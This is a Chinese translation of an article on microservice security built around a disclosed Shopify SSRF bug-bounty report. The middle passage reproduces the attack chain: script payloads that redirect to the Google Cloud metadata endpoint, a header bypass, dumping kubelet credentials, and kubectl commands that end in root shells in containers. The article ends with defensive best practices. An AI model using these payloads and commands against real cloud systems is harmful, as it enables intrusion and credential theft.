通过Shopify平台案例探究微服务安全

译文
安全 网站安全
本文将和您讨论微服务安全的重要性,并以Shopify为例探究防范入侵的各种最佳实践。

【51CTO.com快译】对于一些大型服务架构而言,微服务的安全性在它们所面临的诸多攻击因素中显得尤为重要。本文将和您讨论如何在生产环境中防范各种入侵,以保障整体安全。同时,我将介绍一些实用的方法,以应对通用的微服务安全问题。您可以通过采用这些技术和方法,来轻松地加固各类微服务应用。

另外,我将模拟从公有云服务器实例的单入口,入侵Shopify(译者注:加拿大电商软件平台)的微服务实例,并访问到其元数据为例,来探讨微服务部署和开发过程中的最佳实践。

[[248544]]

概述

让我们首先来浏览一下微服务的架构特点,和它被用来进行应用开发的过程中,所面对的一系列安全问题。

微服务的一般特性

  • 解耦的组件
  • 增加的复杂性
  • 固定的架构
  • 更短的开发周期
  • 最小化依赖项和共同关注点
  • 小而集中
  • 相关服务之间的数据约定
  • 对某个特定技术栈的依赖
  • 良好的集成测试,减少了安全漏洞

由于开发人员对于AppSec(应用安全)的意识较为薄弱,甚至是对于通用应用安全规范的无视,他们可能会从如下方面增加微服务安全的复杂度与挑战:

  • 分段和隔离
  • 多云环境的部署,增加了资产安全的管理成本
  • 身份管理和访问控制
  • 数据与消息的完整性
  • 频繁的变更与淘汰周期

上述与微服务架构相关的因素,都会导致其整体潜在攻击面的扩大增加。而随着服务和资产数量的增加,其风险因素也会大为增多。因此,我们有必要通过定期的代码审查和安全审计,来解决上述提到的各种开发与部署过程中的问题。

微服务的AppSec

许多公司对AppSec(应用安全)都缺乏重视,他们仅仅依靠一些自动化的漏洞扫描工具,和被动式的威胁建模,来检查各种安全配置上的错误,并测试其基于微服务应用的安全态势。显然,这些都无法有效地应对真实环境中的复杂入侵与威胁。

因此开发人员稍有不慎,就可能给应用在整体层面上留下可以被利用和入侵的各种安全漏洞。这正是为什么我们需要不断地修正自己的开发方式,进而在组织内部通过采用AppSec的最佳实践,以保证微服务安全态势的原因。

我们应当将下列技术与实践,严格地贯彻到微服务的开发和部署之中,以确保交付产品的安全可靠,且符合业界规定的各种安全实践标准。

持续安全

人们经常不得不为自己所忽视的安全而“买单”。因此,持续安全的目标就是要通过定期测试微服务应用的安全性,来降低整体成本与开销。而实现持续安全的最好方法便是DevSecOps,它包括了持续的安全测试,和精细的内、外部审计。我们需要通过模拟从不同攻击者的角度,来分析微服务可能会受到哪些方面的入侵,定位其自身可能存在的漏洞,从而将各种问题防范于未然。

方法

  • 内部测试(主要是漏洞被利用之后的阶段)
  • 外部测试

下面,我们针对上述方法,来讨论持续安全的具体“落地”。

案例探究(Shopify)

“据@0xacb的报告:虽然Shopify基础架构已被隔离成了多个子集,但是通过Shopify交易平台上的截屏功能,攻击者可能利用服务器端请求伪造(request forgery)的bug,来获得对于某个子集内任何容器的root访问权限。在接报的一小时后,我们停止了存在漏洞的服务,并审核了所有子集中的应用,进而对整体基础架构实施了应急补救。存在该漏洞的子集并不包括Shopify的核心。在审核了所有的服务之后,我们通过部署元数据隐藏代理(metadata concealment proxy)的方式,禁用了对于元数据信息的访问,进而修复了该bug。另外在架构内所有子集中,我们也禁用了通过内部IP地址的直接访问。鉴于该子集内的一些应用确实有可能会访问到Shopify的核心数据和系统,我们特为此核心远程代码执行漏洞(Core RCE),设置$25000奖金。”

以上便是Shopify在Hackerone(译者注:全球最大的漏洞众测平台)中发布的,其针对该事件的奖赏计划。

根据该报告,我们能够得出这样的结论:即使是应用端的漏洞,也会导致服务器受到入侵的威胁。撇开此类攻击的复杂性不谈,该漏洞还是非常容易被利用的。通常情况下,攻击者会利用一个非常简单的SSRF(Server-Side Request Forgery,服务器端请求伪造)来攻击该漏洞,从而访问到主实例(master instance)的元数据,然后进一步获取那些运行在谷歌云平台上,其他存在同类漏洞的实例的room访问权限。

Shopify的“入侵链”

下面让我们来探讨一下攻击者将如何通过该漏洞,来获取所有Shopify实例的root访问权限。

注:由于源自真实的环境,所以我们在此用████隐去了一些敏感信息。

1. 访问谷歌云的元数据

 

  • 新建一个店铺(partners.shopify.com)。
  • 编辑模板:password.liquid,并添加如下内容:
    1. <script> 
    2. window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"
    3. // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header. 
    4. </script> 
  • 访问https://exchange.shopify.com/create-a-listing,并安装Exchange应用。
  • 等待该店铺的截图在创建列表页面上出现。
  • 下载其PNG文件,使用图像编辑软件打开它,或将其转换为JPEG(Chrome浏览器会显示一个黑色PNG)。

虽然查找谷歌云实例中的各个SSRF需要用到一种特殊的包头,但是我发现可以采用一个非常简单的方法来“绕过”它:由于/v1beta1端点仍然可用,就算不需要Metadata-Flavor: Google的包头,仍然可返回相同的token(令牌)。

我曾试图截获更多的数据,但是网络截图软件无法根据application/text的响应,产生任何图像。不过我发现:可以通过添加参数alt=json,以强制让application/json做出响应。因此我设法截获了更多的数据,包括:SSH公共密钥(带有电子邮件地址)、项目名称(█████)、和实例名称等:

  1. <script> 
  2. window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json"
  3. </script> 

那么我可以使用截获的token来添加自己的SSH密钥吗?答案是:不可以。

  1. curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}' 
  1.  "error": { 
  2.   "errors": [ 
  3.    { 
  4.     "domain": "global", 
  5.     "reason": "forbidden", 
  6.     "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'" 
  7.    }, 
  8.    { 
  9.     "domain": "global", 
  10.     "reason": "forbidden", 
  11.     "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'" 
  12.    } 
  13.   ], 
  14.   "code": 403, 
  15.   "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'" 
  16.  } 

我全面检查了该token,它并没有对Compute Engine API(译者注:一种谷歌的API)进行读与写的访问。

  1. curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████" 
  1.  "issued_to": "███████", 
  2.  "audience": "███", 
  3.  "scope": "https://www.googleapis.com/auth/cloud-platform", 
  4.  "expires_in": 1307, 
  5.  "access_type": "offline" 

2. 转存kube-env

我创建了一个新的店铺

(http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json),并递归地“拉取出”该实例的各项属性。

由于元数据隐藏

(https://hackerone.com/redirect?signature=800d1491927edd8ed19a6b370a10349a205df89f&url=https%3A%2F%2Fcloud.google.com%2Fkubernetes-engine%2Fdocs%2Fhow-to%2Fmetadata-concealment)未被开启,因为我能够获取到kube-env属性。

另外,由于图像已被损坏,因此我针对

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json创建了一个新的请求,以查看Kubelet证书的剩余部分,及其私钥。

ca.crt(译者注:ca证书文件)

  1. -----BEGIN CERTIFICATE----- 
  2. ██████ 
  3. ███████ 
  4. ███████ 
  5. ████████ 
  6. ██████████████ 
  7. ████████ 
  8. ████████ 
  9. ███████ 
  10. ████ 
  11. ██████ 
  12. ███ 
  13. █████████ 
  14. ████ 
  15. ████ 
  16. ████████ 
  17. ███████ 
  18. ███ 
  19. -----END CERTIFICATE----- 

client.crt(译者注:client端证书文件)

  1. -----BEGIN CERTIFICATE----- 
  2. █████ 
  3. ███████ 
  4. ██████ 
  5. ████████ 
  6. ██████████ 
  7. █████ 
  8. ██████ 
  9. █████ 
  10. █████ 
  11. ██████████ 
  12. ███████ 
  13. █████ 
  14. ████ 
  15. ████ 
  16. ████████ 
  17. ████████ 
  18. -----END CERTIFICATE----- 

client.pem(译者注:采用Base64 编码的client端文件,存储证书+密钥)

  1. -----BEGIN RSA PRIVATE KEY----- 
  2. █████████ 
  3. ██████ 
  4. ████████ 
  5. ████ 
  6. ████ 
  7. █████████ 
  8. ██████████ 
  9. ██████ 
  10. ████████ 
  11. █████████ 
  12. ██████ 
  13. ██████████ 
  14. ███ 
  15. ██████████ 
  16. ███ 
  17. ██████ 
  18. █████████ 
  19. ████████ 
  20. ██████████ 
  21. █████████ 
  22. ████ 
  23. ████ 
  24. ████████ 
  25. ████ 
  26. ███████ 
  27. -----END RSA PRIVATE KEY----- 

至此,我得到了MASTER_NAME:█████

3. 使用Kubelet执行任意命令

在此,我们可以列出所有的pods:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces 
  2. NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE 
  3. ████████                    ██████████                    1/1 

也可以创建新的pods:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml 
  2. pod "shell-demo" created 
  3. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo 
  4. pod "shell-demo" deleted 

由于我无法确定自己是否能以用户████████的身份,去删除其正在运行的pods。因此,我无法在这个新的pod或其他pod中执行任何命令:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash 
  2. Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███" 

虽然get secrets命令没有起到效果,但是它能够根据给定的pod,运用其名称来获取密钥。我正好运用实例名████,从名称空间████中,截获到了kubernetes.io服务帐号的token:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████ 
  2. Name:           ████████ 
  3. Namespace:      ██████ 
  4. Node:           ██████████ 
  5. Start Time:     Fri, 23 Mar 2018 13:53:13 +0000 
  6. Labels:         █████ 
  7.                 ████ 
  8.                 █████ 
  9. Annotations:    <none> 
  10. Status:         Running 
  11. IP:             █████████ 
  12. Controlled By:  █████ 
  13. Containers: 
  14.   default-http-backend: 
  15.     Container ID:   docker://███ 
  16.     Image:          ██████ 
  17.     Image ID:       docker-pullable://█████ 
  18.     Port:           ████/TCP 
  19.     Host Port:      0/TCP 
  20.     State:          Running 
  21.       Started:      Sun, 22 Apr 2018 03:23:09 +0000 
  22.     Last State:     Terminated 
  23.       Reason:       Error 
  24.       Exit Code:    2 
  25.       Started:      Fri, 20 Apr 2018 23:39:21 +0000 
  26.       Finished:     Sun, 22 Apr 2018 03:23:07 +0000 
  27.     Ready:          True 
  28.     Restart Count:  180 
  29.     Limits: 
  30.       cpu:     10m 
  31.       memory:  20Mi 
  32.     Requests: 
  33.       cpu:        10m 
  34.       memory:     20Mi 
  35.     Liveness:     http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3 
  36.     Environment:  <none> 
  37.     Mounts: 
  38.       ██████ 
  39. Conditions: 
  40.   Type           Status 
  41.   Initialized    True 
  42.   Ready          True 
  43.   PodScheduled   True 
  44. Volumes: 
  45.  ██████████: 
  46.     Type:        Secret (a volume populated by a Secret) 
  47.     SecretName: ███████ 
  48.     Optional:    false 
  49. QoS Class:       Guaranteed 
  50. Node-Selectors:  <none> 
  51. Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s 
  52.                  node.kubernetes.io/unreachable:NoExecute for 300s 
  53. Events:          <none> 
  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml 
  2. apiVersion: v1 
  3. data: 
  4.   ca.crt: ██████████ 
  5.   namespace: ████ 
  6.   token: ██████████== 
  7. kind: Secret 
  8. metadata: 
  9.   annotations: 
  10.     kubernetes.io/service-account.name: default 
  11.     kubernetes.io/service-account.uid: ████ 
  12.   creationTimestamp: 2017-01-23T16:08:19Z 
  13.   name:█████ 
  14.   namespace: ██████████ 
  15.   resourceVersion: "115481155" 
  16.   selfLink: /api/v1/namespaces/████████/secrets/████ 
  17.   uid: █████████ 
  18. type: kubernetes.io/service-account-token 

最后如下所示,我就能使用该token从任意容器中获取shell了。

  1. $ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash 
  2. Defaulting container name to web. 
  3. Use 'kubectl describe pod/w█████████' to see all of the containers in this pod. 
  4. ███████:/# id 
  5. uid=0(root) gid=0(root) groups=0(root) 
  6. █████:/# ls 
  7. app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var 
  8. bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr 
  9. ███████:/# exit 
  10.  
  11. $ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash 
  12. Defaulting container name to web. 
  13. Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod. 
  14. root@████:/# id 
  15. uid=0(root) gid=0(root) groups=0(root) 
  16. root@████:/# ls 
  17. app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var 
  18. bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr 
  19. root@█████:/# exit 

影响程度:严重

黑客们可以根据相关的上下文信息,采用服务器端请求伪造(SSRF)来入侵上述漏洞。同时,他们会给目标系统带来如下影响:

  • 绕过网络访问控制,能够截获内部服务吗?
  • 是的。
  • 什么样的内部服务能被访问?
  • 谷歌云的元数据。
  • 带来何种安全影响?
  • RCE(远程代码执行)。

保障微服务安全的最佳实践

通过上述Shopify案例,我们可以学到:

(1) 用户身份管理、授权和访问控制。我们的首要任务应该是:设置适当的访问控制和用户权限。其中,我们可以使用OAuth2来进行用户授权的管控。您可按需使用访问控制,来对不同类型的用户组进行访问级别和权限范围的设置。例如:您可以采用诸如JWT(基于认证的JSON Web Token)、JJWT(Java JWT,请参考https://github.com/jwtk/jjwt)等第三方的服务架构来实现认证,使用SSO来处理授权问题。另外,您也可以参照SAML和LDAP进行身份验证。

(2) 根据TOTP(time-based one-time password,基于时间的一次性密码)启用2FA(two-factor authentication,双因素认证)。这是另一种很好的方法。它能够像第二道防线那样,去弥补JWT自身的各种漏洞,以及处理验证过程中的疏漏。其代表方式是实施GoogleAuth库(请参考https://github.com/wstrange/GoogleAuth)。

(3) 不要以明文或纯文本的形式存储敏感数据。请选用libsodium服务(https://github.com/jedisct1/libsodium),对数据进行加、解密。此外,千万不要采用某种尚处于测试阶段的加密算法,因为它们往往可能捆绑了某些框架,或潜在着各种未知的漏洞。

(4) 使用API网关隔离各种资源。您可以使用各种第三方的API网关来达到此效果。

(5) 分离各种API和内部组件,以减少暴露的被攻击面。

(6) 为了基于REST-API安全,请持续关注每年底更新的OWASP Top 10,并做好自身的漏洞彻审。如前文所述的SSRF,如果我们处置不当,将会带来RCE的隐患。此法有助于发现一些常见的Web应用漏洞。

(7) 如果部署并使用云平台,请为帐号和实例配置访问控制。通常情况下,服务器实例的元数据是开放性的;而隶属于特定微服务的AWS object buckets(对象存储空间)也同样是开放性的。因此我们要通过ACL,来防范它们在最坏情况下被公布于世。正如上述Shopify案例那样,攻击者通过利用漏洞,获取root访问权限,来进一步截获与服务器实例有关的敏感元数据。

(8) 对通用序列化(Common serialization)与反序列化(deserialization),基于SQLi漏洞的防范。我们特别要注意那些不安全的反序列化,它们可能会导致包括RCE在内的许多严重漏洞。因此,我们需要及时通过热补丁程序(hotfix)来对用户的输入实施审查和“消毒”。例如:Kryo(译者注:一种快速高效的Java对象图形序列化架构)就存在着尚未修复的反序列化漏洞,请参见:https://github.com/EsotericSoftware/kryo/issues/398。

  • Ø Spark SQL
  • Ø Kafka + Spark Serialization

(9) 认证,我们可以采用如下的身份验证APIs(各种架构和服务):

  • 使用Cognito + AWS API网关来处理繁琐的认证:Cognito使用证书、MFA等来处理认证问题;API网关检查访问的token、JWT、以及授权。
  • 在各个服务之间,采用基于角色的限制。
  • 通过要求对每个请求进行签名,以增加额外的认证保护层。
  • 将Lambda的各个函数整合到hook进程之前和之后:您可以使用各种Swagger文件;也可以参考https://github.com/iheartradio/play-swagger,来为自己的架构轻松产生各种Swagger文件。

(10) 切勿将敏感键值或信息存放到环境变量之中。这些信息可能会在某些情况下暴露在应用程序的日志中,或是被其他服务无意中访问到,从而带来安全隐患。

原文标题:How to Secure Your Microservices — Shopify Case Study,作者:Arif Khan

【51CTO译稿,合作站点转载请注明原文译者和出处为51CTO.com】

责任编辑:赵宁宁 来源: 51CTO.com
相关推荐

2018-11-12 10:21:42

2016-05-12 13:39:16

IBM大型机混合云

2010-07-28 14:27:13

NFS服务器

2020-11-18 09:37:44

微服务

2018-03-26 04:53:46

Serverless微服务架构

2023-09-13 16:43:28

网关微服务架构开发

2023-09-06 08:51:40

2021-03-17 10:51:16

架构运维技术

2020-06-04 09:24:26

微服务数据框架

2022-02-15 11:49:08

eBPFGo内存

2023-12-14 08:00:00

数据库微服务开发

2021-03-05 18:05:56

JavaServerless 微服务

2023-06-02 08:33:43

微服务架构服务注册

2017-07-04 14:57:40

微服务paasdocker

2023-04-21 08:00:00

2020-08-25 07:00:00

容器微服务技术

2019-07-25 08:14:40

RedisJava数据库

2009-07-04 14:37:12

2024-03-06 08:36:36

点赞
收藏

51CTO技术栈公众号